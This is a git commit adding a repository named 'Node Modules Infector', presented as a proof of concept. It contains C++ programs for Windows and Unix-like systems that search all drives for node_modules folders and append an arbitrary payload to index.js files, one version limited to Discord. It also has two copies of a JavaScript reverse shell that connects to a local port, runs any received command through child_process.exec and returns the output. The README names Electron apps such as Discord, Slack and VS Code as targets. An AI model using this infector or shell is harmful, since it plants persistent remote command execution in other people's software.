Add files via upload
This commit is contained in:
parent
6b5741ca4b
commit
ba9ad14eed
|
@ -0,0 +1,16 @@
|
|||
|
||||
# Node Modules Infector
|
||||
|
||||
## This is a poc of how you can infect node modules and execute code every time the application that uses them start.
|
||||
|
||||
#### Modules are the blocks of encapsulated code that communicates with an external application on the basis of their related functionality. Modules can be a single file or a collection of multiples files/folders. Node modules can be found in almost every electron application such as ( discord, nzxt, slack, signal, vscode, etc.).
|
||||
|
||||
##### I have created a reverse tcp payload just for the poc but you can inject what ever you want as long as its nodejs code.
|
||||
|
||||
|
||||
|
||||
### NZXT POC
|
||||
![nzxtPOC](./img/nzxtPoc.gif)
|
||||
|
||||
### Discord POC
|
||||
![discordPOC](./img/discordPOC.gif)
|
Binary file not shown.
After Width: | Height: | Size: 6.1 MiB |
Binary file not shown.
After Width: | Height: | Size: 4.3 MiB |
|
@ -0,0 +1,155 @@
|
|||
#include <iostream>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
|
||||
int main(int argc,char* argv[]) {
|
||||
|
||||
std::string payloadData;
|
||||
|
||||
if (argc < 2)
|
||||
{
|
||||
std::cout << "Add payload file path" << std::endl;
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
std::filesystem::path payloadPath(argv[1]);
|
||||
|
||||
if (!std::filesystem::exists(payloadPath))
|
||||
{
|
||||
std::cout << "File does not exists." << std::endl;
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ifstream f(payloadPath, std::ios::in);
|
||||
|
||||
const auto sz = std::filesystem::file_size(payloadPath);
|
||||
|
||||
std::string payload(sz, '\0');
|
||||
|
||||
f.read(payload.data(), sz);
|
||||
|
||||
payloadData = payload;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// vector to save the paths to write
|
||||
std::vector<std::filesystem::path> nodeModulePath;
|
||||
|
||||
std::vector<std::filesystem::path> indexPaths;
|
||||
|
||||
std::filesystem::path path("/");
|
||||
|
||||
// try to find if drive is alive
|
||||
try
|
||||
{
|
||||
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
}
|
||||
catch (...)
|
||||
{}
|
||||
|
||||
// init iterator
|
||||
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
auto end_iter = std::filesystem::end(iter);
|
||||
auto ec = std::error_code();
|
||||
|
||||
for (; iter != end_iter; iter.increment(ec))
|
||||
{
|
||||
if (ec)
|
||||
{
|
||||
std::cout << ec.message() << std::endl;
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
|
||||
// add path to vector
|
||||
if (iter->path().filename() == "node_modules")
|
||||
{
|
||||
nodeModulePath.push_back(iter->path());
|
||||
iter.disable_recursion_pending();
|
||||
}
|
||||
}
|
||||
catch (const std::exception& exc)
|
||||
{
|
||||
std::cerr << exc.what();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
for (std::vector<std::filesystem::path>::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i)
|
||||
{
|
||||
std::filesystem::path path = *i;
|
||||
|
||||
// check if can acces that dir
|
||||
try
|
||||
{
|
||||
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
auto end_iter = std::filesystem::end(iter);
|
||||
auto ec = std::error_code();
|
||||
|
||||
for (; iter != end_iter; iter.increment(ec))
|
||||
{
|
||||
if (ec)
|
||||
{
|
||||
std::cout << ec.message() << std::endl;
|
||||
continue;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// add this check if you want to target a specific app
|
||||
// if (iter->path().string().find("discord") != std::string::npos) {
|
||||
|
||||
if (iter->path().filename() == "index.js")
|
||||
{
|
||||
indexPaths.push_back(iter->path());
|
||||
iter.disable_recursion_pending();
|
||||
}
|
||||
// }
|
||||
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
for (std::vector<std::filesystem::path>::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i)
|
||||
{
|
||||
std::filesystem::path path = *i;
|
||||
|
||||
if (payloadData.length()>1) {
|
||||
|
||||
std::ofstream out;
|
||||
|
||||
out.open(path, std::ios::out | std::ios::app| std::ios::binary);
|
||||
|
||||
|
||||
out << "\n" << payloadData.substr(0,payloadData.size()-2);
|
||||
|
||||
out.close();
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
|
||||
|
||||
var XXX123fs = require("fs")
|
||||
var XXX123net = require("net")
|
||||
var XXX123path = require("path")
|
||||
var XXX123os = require("os")
|
||||
var XXX123proc = require("process")
|
||||
|
||||
|
||||
var XXX123pid = String(XXX123proc.pid)
|
||||
|
||||
|
||||
if (!XXX123fs.existsSync(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`))){
|
||||
|
||||
//create lock file
|
||||
XXX123fs.writeFile(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`),"", (err) => {
|
||||
if (err) {
|
||||
console.log(err)
|
||||
}
|
||||
});
|
||||
|
||||
(function(){
|
||||
var client = new XXX123net.Socket();
|
||||
client.connect(4466, "127.0.0.1")
|
||||
|
||||
let received = ""
|
||||
client.on("data", data => {
|
||||
received = data
|
||||
try{
|
||||
var XXX123exec = require("child_process").exec;
|
||||
|
||||
XXX123exec(`${received}`, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
client.write(stderr)
|
||||
return;
|
||||
}
|
||||
if (stderr) {
|
||||
client.write(stdout)
|
||||
return;
|
||||
}
|
||||
client.write(stdout)
|
||||
});
|
||||
|
||||
}
|
||||
catch(ex){
|
||||
console.log(ex)
|
||||
}
|
||||
|
||||
})
|
||||
client.on("close", () => {
|
||||
console.log("connection closed")
|
||||
})
|
||||
|
||||
return /a/; // Prevents the Node.js application form crashing
|
||||
})();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
//////
|
|
@ -0,0 +1,61 @@
|
|||
|
||||
|
||||
var XXX123fs = require("fs")
|
||||
var XXX123net = require("net")
|
||||
var XXX123path = require("path")
|
||||
var XXX123os = require("os")
|
||||
var XXX123proc = require("process")
|
||||
|
||||
|
||||
var XXX123pid = String(XXX123proc.pid)
|
||||
|
||||
|
||||
if (!XXX123fs.existsSync(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`))){
|
||||
|
||||
//create lock file
|
||||
XXX123fs.writeFile(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`),"", (err) => {
|
||||
if (err) {
|
||||
console.log(err)
|
||||
}
|
||||
});
|
||||
|
||||
(function(){
|
||||
var client = new XXX123net.Socket();
|
||||
client.connect(4466, "127.0.0.1")
|
||||
|
||||
let received = ""
|
||||
client.on("data", data => {
|
||||
received = data
|
||||
try{
|
||||
var XXX123exec = require("child_process").exec;
|
||||
|
||||
XXX123exec(`${received}`, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
client.write(stderr)
|
||||
return;
|
||||
}
|
||||
if (stderr) {
|
||||
client.write(stdout)
|
||||
return;
|
||||
}
|
||||
client.write(stdout)
|
||||
});
|
||||
|
||||
}
|
||||
catch(ex){
|
||||
console.log(ex)
|
||||
}
|
||||
|
||||
})
|
||||
client.on("close", () => {
|
||||
console.log("connection closed")
|
||||
})
|
||||
|
||||
return /a/; // Prevents the Node.js application form crashing
|
||||
})();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
//////
|
|
@ -0,0 +1,17 @@
|
|||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
|
||||
std::vector<std::string> getListOfDrives() {
|
||||
std::vector<std::string> arrayOfDrives;
|
||||
char* szDrives = new char[MAX_PATH]();
|
||||
|
||||
if (GetLogicalDriveStringsA(MAX_PATH, szDrives));
|
||||
|
||||
for (int i = 0; i < 100; i += 4)
|
||||
if (szDrives[i] != (char)0)
|
||||
arrayOfDrives.push_back(std::string{ szDrives[i],szDrives[i + 1],szDrives[i + 2] });
|
||||
delete[] szDrives;
|
||||
return arrayOfDrives;
|
||||
}
|
|
@ -0,0 +1,4 @@
|
|||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
std::vector<std::string> getListOfDrives();
|
|
@ -0,0 +1,170 @@
|
|||
#include <iostream>
|
||||
#include <filesystem>
|
||||
#include <windows.h>
|
||||
#include <fstream>
|
||||
#include <algorithm>
|
||||
|
||||
#include "enum.h"
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
|
||||
std::string payloadData;
|
||||
|
||||
if (argc < 2)
|
||||
{
|
||||
std::cout << "Add payload file path" << std::endl;
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
std::filesystem::path payloadPath(argv[1]);
|
||||
|
||||
if (!std::filesystem::exists(payloadPath))
|
||||
{
|
||||
std::cout << "File does not exists." << std::endl;
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ifstream f(payloadPath, std::ios::in);
|
||||
|
||||
const auto sz = std::filesystem::file_size(payloadPath);
|
||||
|
||||
std::string payload(sz, '\0');
|
||||
|
||||
f.read(payload.data(), sz);
|
||||
|
||||
payloadData = payload;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// vector to save the paths to write
|
||||
std::vector<std::filesystem::path> nodeModulePath;
|
||||
|
||||
std::vector<std::filesystem::path> indexPaths;
|
||||
|
||||
// vector of drives
|
||||
std::vector drives = getListOfDrives();
|
||||
|
||||
// for each drive
|
||||
for (std::vector<std::string>::const_iterator i = drives.begin(); i != drives.end(); ++i)
|
||||
{
|
||||
std::string drive = *i;
|
||||
|
||||
std::filesystem::path path(drive.c_str());
|
||||
|
||||
// try to find if drive is alive
|
||||
try
|
||||
{
|
||||
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// init iterator
|
||||
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
auto end_iter = std::filesystem::end(iter);
|
||||
auto ec = std::error_code();
|
||||
|
||||
for (; iter != end_iter; iter.increment(ec))
|
||||
{
|
||||
if (ec)
|
||||
{
|
||||
std::cout << ec.message() << std::endl;
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
|
||||
// add path to vector
|
||||
if (iter->path().filename() == "node_modules")
|
||||
{
|
||||
nodeModulePath.push_back(iter->path());
|
||||
iter.disable_recursion_pending();
|
||||
}
|
||||
}
|
||||
catch (const std::exception& exc)
|
||||
{
|
||||
std::cerr << exc.what();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (std::vector<std::filesystem::path>::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i)
|
||||
{
|
||||
std::filesystem::path path = *i;
|
||||
|
||||
// check if can acces that dir
|
||||
try
|
||||
{
|
||||
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
|
||||
auto end_iter = std::filesystem::end(iter);
|
||||
auto ec = std::error_code();
|
||||
|
||||
for (; iter != end_iter; iter.increment(ec))
|
||||
{
|
||||
if (ec)
|
||||
{
|
||||
std::cout << ec.message() << std::endl;
|
||||
continue;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (iter->path().string().find("discord") != std::string::npos) {
|
||||
|
||||
if (iter->path().filename() == "index.js")
|
||||
{
|
||||
indexPaths.push_back(iter->path());
|
||||
iter.disable_recursion_pending();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
for (std::vector<std::filesystem::path>::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i)
|
||||
{
|
||||
std::filesystem::path path = *i;
|
||||
|
||||
if (payloadData.length()>1) {
|
||||
|
||||
|
||||
std::ofstream out;
|
||||
|
||||
|
||||
out.open(path, std::ios::out | std::ios::app| std::ios::binary);
|
||||
|
||||
out << "\r\n" << payloadData.substr(0,payloadData.size()-2);
|
||||
|
||||
|
||||
out.close();
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
|
||||
}
|
Loading…
Reference in New Issue